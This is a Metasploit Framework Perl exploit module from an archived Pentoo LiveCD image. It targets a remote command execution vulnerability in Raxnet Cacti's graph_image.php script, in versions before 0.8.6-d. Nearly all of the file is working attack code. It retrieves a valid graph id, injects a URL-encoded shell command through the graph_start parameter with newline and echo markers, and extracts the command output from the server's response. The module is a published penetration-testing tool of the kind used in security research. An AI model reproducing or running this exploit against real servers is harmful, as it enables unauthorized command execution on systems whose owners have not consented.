Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/cacti_graphimage_exec.pm

Text File | 2006-06-30 | 4KB | 164 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cacti_graphimage_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
    'Name'     => 'Cacti graph_image.php Remote Command Execution',
    'Version'  => '$Revision: 1.4 $',
    'Authors'  => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
    'Arch'     => [ ],
    'OS'       => [ ],
    'Priv'     => 0,
    'UserOpts' =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 80],
        'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
        'DIR'   => [1, 'DATA', 'Directory of cacti', '/cacti/'],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Description' => Pex::Text::Freeform(qq{
        This module exploits an arbitrary command execution vulnerability in the
    Raxnet Cacti 'graph_image.php' script. All versions of Raxnet Cacti prior to
    0.8.6-d are vulnerable.
}),
    'Refs' =>
      [
        ['BID', '14042'],
        ['MIL', '96'],
      ],

    'Payload' =>
      {
        'Space' => 128,
        'Keys'  => ['cmd','cmd_bash'],
      },

    'Keys' => ['cacti'],

    'DisclosureDate' => 'Jun 23 2005',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self = shift;
    my $target_host    = $self->VHost;
    my $target_port    = $self->GetVar('RPORT');
    my $dir            = $self->GetVar('DIR');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $cmd            = $encodedPayload->RawPayload;


    $cmd = Pex::Text::URLEncode($cmd);

    my $listgraph = $dir.'graph_view.php?action=list';
    my $requestlist =
      "GET $listgraph HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: ".$self->VHost.":$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Establishing a connection to the target to get list of valid image id ...");

    $s->Send($requestlist);

    my $resultslist = $s->Recv(-1, 20);
    $s->Close();

    $resultslist=~m/local_graph_id=(.*?)&/ || $self->PrintLine("[*] Unable to retrieve a valid image id") && return;

    my $valid_graph_id=$1;

    $dir = $dir.'graph_image.php?local_graph_id='."$valid_graph_id".'&graph_start=%0aecho;echo%20YYY;'."$cmd".';echo%20YYY;echo%0a';

    my $request =
      "GET $dir HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: ".$self->VHost.":$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Establishing a connection to the target to execute command ...");

    $s->Send($request);

    my $results = $s->Recv(-1, 20);

    if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){

        (undef, $results) = split(/YYY/, $results);

        my @results = split ( /\r\n/, $results );

        chomp @results;

        for (my $i = 2; $i < @results; $i += 2){
            $self->PrintLine('');
            $self->PrintLine("$results[$i]");
        }
    } else {

        (undef, $results) = split(/YYY/, $results);

        my @results = split ( /\r\n/, $results );

        chomp @results;
        $self->PrintLine("[*] Target may be not vulnerable");
        $self->PrintLine("$results");
    }

    $s->Close();
    return;
}

sub VHost {
    my $self = shift;
    my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
    return $name;
}

1;